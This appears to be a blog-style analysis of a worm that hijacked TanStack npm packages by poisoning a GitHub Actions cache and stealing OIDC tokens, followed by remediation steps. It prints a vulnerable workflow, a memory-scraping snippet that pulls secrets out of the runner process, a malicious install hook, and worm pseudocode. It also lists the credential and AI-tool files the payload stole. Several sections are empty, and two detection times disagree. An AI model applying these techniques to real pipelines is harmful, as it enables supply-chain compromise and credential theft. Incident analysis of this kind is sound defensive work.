TanStack's Nightmare:
How a Worm Hijacked 42 npm Packages in 6 Minutes 😱

Before we dissect the attack, let's understand why TanStack is such a high-value target. 🎯

The packages at the center of this attack — @tanstack/react-router, @tanstack/vue-router, @tanstack/router-core, and friends — are downloaded tens of millions of times each week. When an attacker compromises them, they don't just reach one project; they reach every developer who runs npm install in the next few hours. 😣

This wasn't a stolen password or a phishing email. The attacker — a threat group called TeamPCP (also tracked as DeadCatx3, PCPcat, ShellForce, CipherForce) — never logged in as a TanStack maintainer. Instead, they tricked TanStack's own legitimate release pipeline into publishing malicious packages on their behalf. 🤯

Three vulnerabilities, chained together, turned a harmless pull request from a stranger into a full-blown supply chain compromise. Each vulnerability alone was insufficient — but together they bridged every trust boundary between an anonymous attacker and a trusted npm publisher. 🔗

This is the fourth wave of a campaign called Mini Shai-Hulud (named after the giant sandworms in the Dune universe 🐛). Each wave has been more sophisticated than the last, and this one achieved something unprecedented: publishing npm packages with valid cryptographic provenance — a first in the history of supply chain attacks.

The attacker was patient. The groundwork was laid a full day before the malicious packages ever appeared on npm. 🕐

Here's where most developers get confused: how can a pull request from a random stranger cause real damage? GitHub is supposed to sandbox untrusted code, right? 🤔

GitHub has two events for pull requests:

• pull_request — runs workflows in a sandboxed context. No secrets, limited permissions. Safe for untrusted forks.
• pull_request_target — runs workflows with the base repository's full context: secrets, tokens, write access. Designed for things like posting CI status comments.

TanStack's bundle-size.yml used pull_request_target — and then made the classic mistake of also checking out the fork's code: 😵

# bundle-size.yml — VULNERABLE PATTERN
on:
  pull_request_target:               # 🚨 Runs with BASE repo privileges
    paths: ['packages/**', 'benchmarks/**']

jobs:
  benchmark-pr:
    steps:
      - uses: actions/checkout@v6.0.2
        with:
          ref: refs/pull/${{ github.event.pull_request.number }}/merge
          # ☠️ This checks out the ATTACKER'S code...
          # ...but runs it with the BASE repo's privileges
      - run: pnpm nx run @benchmarks/bundle-size:build
          # 💥 Executes untrusted fork code in trusted context

The attacker's fork included a massive vite_setup.mjs file. When pnpm nx run @benchmarks/bundle-size:build ran, it loaded this file — which looked like a bundler config but was actually a cache poisoning weapon. 🎯

Getting code to run during a PR check is interesting, but it doesn't directly let you publish npm packages. The attacker needed a way to persist their malicious code until the next official release. That's where GitHub Actions caching comes in — and it has a critical, under-appreciated flaw. 🔑

Here's the flaw: GitHub Actions cache scope is per-repository — shared between pull_request_target workflows AND pushes to main. And here's the kicker:

The attacker's vite_setup.mjs wrote attacker-controlled binaries to the pnpm package store, then the post-job cache-save step helpfully preserved them under the exact cache key that the release pipeline would restore hours later:

# Cache key poisoned by the attacker's PR workflow
Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

# When release.yml ran on main and did:
uses: actions/cache@v5
with:
  key: Linux-pnpm-store-${{ hashFiles('pnpm-lock.yaml') }}

# It restored the poisoned cache — attacker binaries now on the release runner

By the time the legitimate release.yml workflow ran on May 11, it happily restored the compromised cache. The attacker's code was now executing inside the release pipeline — a pipeline with access to GitHub's OIDC token system. 🎯

This is the most technically sophisticated part of the attack. With code running inside the release pipeline, the attacker still needed one thing: the credential to actually publish packages to npm. They didn't need to steal a password — they went after something much harder to protect. 😱

GitHub uses OIDC (OpenID Connect) tokens for trusted publishing — a short-lived credential that proves "this package was built by this GitHub repository's workflow." These tokens are passed as environment variables to the runner process and are never written to disk. But they do exist in process memory. 🔍

On Linux, every process's memory is accessible via /proc/<pid>/mem — if you have the right permissions. The attacker's malicious code did this:

# Locate the GitHub Actions runner worker process
import os, re

# Find Runner.Worker PID via /proc/*/cmdline
for pid in os.listdir('/proc'):
    try:
        cmdline = open(f'/proc/{pid}/cmdline').read()
        if 'Runner.Worker' in cmdline:
            target_pid = pid
    except: pass

# Read process memory maps, then dump memory contents
# Extract JSON objects matching GitHub's secret format:
# {"value":"...","isSecret":true}
pattern = r'"[^"]+":{"value":"[^"]*","isSecret":true}'

# This captures ALL secrets — even those GitHub "masks" in logs
# Masking only redacts log output, not in-memory values 💥

With the OIDC token in hand, the attacker exchanged it for per-package npm publish credentials using npm's token exchange endpoint. The release workflow showed status: failure — the tests didn't pass — but npm had already received 84 valid, signed, provenance-attested publishes. 💀

The malicious packages weren't just publishing proof-of-concept code. They deployed a serious, multi-stage payload that targeted developers and CI systems alike. 😣

How It Hid Inside the Package

Each compromised package included an optionalDependency pointing to an orphan GitHub commit — a technique designed to slip past audits:

// Injected into each @tanstack/* package
{
  "optionalDependencies": {
    "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
  }
}

// The orphan commit's package.json ran the payload:
{
  "scripts": {
    "prepare": "bun run tanstack_runner.js && exit 1"
    // ↑ exit 1 makes install "fail" silently (optional dep)
    // ↑ but the payload already ran 💥
  }
}

When any developer or CI system ran npm install on an affected version, npm resolved the optional dependency, fetched the orphan commit, and executed the prepare lifecycle script — which ran a 2.3 MB obfuscated payload called router_init.js. 😱

Three Layers of Obfuscation

The payload was wrapped in three obfuscation layers to resist analysis:

Credential Harvesting

Once running, the payload targeted everything it could find on the host:

• 🔑 Cloud credentials: AWS IAM keys, GCP service accounts, Azure tokens, Kubernetes service account tokens
• 🔧 Developer tools: ~/.npmrc, ~/.git-credentials, SSH private keys, Docker configs
• 🤖 AI tool configs: Claude Code session history (~/.claude/projects/*.jsonl), Kiro configurations
• 💰 Crypto wallets: Bitcoin, Ethereum, Monero wallet files
• 🔒 HashiCorp Vault: Token files and API endpoints

How It Exfiltrated Data Without Being Detected

Rather than using a simple HTTP server (easily blocked by firewalls), the payload used two stealthy channels:

The Self-Propagating Worm

This is what made the attack a worm, not just malware. After stealing credentials, the payload spread to other packages automatically: 🐛

// 1. Find an npm token with bypass_2fa: true
token = findNpmTokenWithBypass2FA()

// 2. Enumerate all packages this maintainer owns
packages = fetch(`https://registry.npmjs.org/-/v1/search?text=maintainer:${user}`)

// 3. Exchange stolen GitHub OIDC token for per-package publish credentials
for (pkg of packages) {
  publishCred = exchangeOIDCToken(stolenOIDCToken, pkg)
  // 4. Publish a new infected version
  publishWithPayload(pkg, publishCred)
  // 5. Generate valid SLSA attestation for each infected publish
  signWithSigstore(pkg)
}

This is how the worm spread beyond TanStack: to UiPath, Mistral AI, DraftAuth, Squawk aviation packages, and 100+ more — each with valid cryptographic provenance. 🌊

The Dead-Man's Switch 💀

The attackers added one final, cruel twist. A malicious npm token was created with the description:

This attack broke a fundamental assumption that many security teams have started relying on: "If a package has valid SLSA provenance, it's trustworthy." 🤔

The attacker triggered TanStack's legitimate release workflow. The workflow tests failed, so the normal publish step was skipped. But the attacker's code in the poisoned cache had already extracted the OIDC token and called Sigstore's Fulcio/Rekor APIs directly — generating valid Build Level 3 attestations for every malicious package, during the same workflow run window. 😱

This is the first documented case of a malicious npm worm producing validly-attested packages. SLSA provenance is valuable — but it needs to be combined with behavioral analysis, dependency scanning, and anomaly detection. It cannot stand alone as a trust signal. 🎯

Here's where the story gets both encouraging and concerning. The attack was stopped quickly — but entirely by an external researcher, not by TanStack's own monitoring. 😣

How It Was Caught

Security researcher ashishkurmi at StepSecurity detected anomalies in the newly published packages within approximately 20 minutes of publication. Behavioral analysis flagged all 84 artifacts within six minutes of publication, before human review even began. The attacker's mistake — breaking the workflow tests — made the malicious publishes loud enough to detect quickly.

Indicators of Compromise

Affected Versions to Avoid

If You Were Affected: Remediation Order Matters

# Step 1: Disable dead-man's switch (macOS)
launchctl unload ~/Library/LaunchAgents/com.user.gh-token-monitor.plist
rm -f ~/Library/LaunchAgents/com.user.gh-token-monitor.plist

# Step 1: Disable dead-man's switch (Linux)
systemctl --user stop gh-token-monitor.service
rm -f ~/.config/systemd/user/gh-token-monitor.service

# Step 2: Remove IDE persistence hooks
rm -f .claude/router_runtime.js .claude/setup.mjs
# Inspect and clean .claude/settings.json manually
rm -f .vscode/setup.mjs
# Review .vscode/tasks.json for suspicious entries

# Step 3: Find dead-drop commits disguised as Dependabot
git log --all --author=claude@users.noreply.github.com

# Step 4: NOW rotate credentials (priority order)
# npm tokens → GitHub PATs → AWS → Vault → K8s → SSH → GCP

# Step 5: Purge GitHub Actions caches
gh api -X DELETE /repos/OWNER/REPO/actions/caches/{id}

This attack is a masterclass in how modern CI/CD trust models can be weaponized. Here's what every team managing an npm package — or depending on one — needs to take away. 💪

The Bigger Picture: Campaign History

TeamPCP has announced a partnership with the Vect ransomware group, per Unit 42 intelligence. This campaign is not over. 🔥

📖 Official Sources

• TanStack Official Postmortem
• GitHub Issue #7383 — Initial disclosure thread

🔬 Security Research

• StepSecurity — Full technical analysis (Mini Shai-Hulud)
• Aikido.dev — Mini Shai-Hulud campaign overview
• Snyk — TanStack packages compromised analysis
• Socket.dev — Supply chain attack breakdown

📰 News Coverage

• The Hacker News — Mini Shai-Hulud Worm coverage
• Cyber Kendra — TanStack packages hit by sophisticated attack

🛡️ Vulnerability Tracking

• CVE: CVE-2026-45321
• GHSA: GHSA-g7cv-rxg3-hmpx

Found this helpful? Share it! 🚀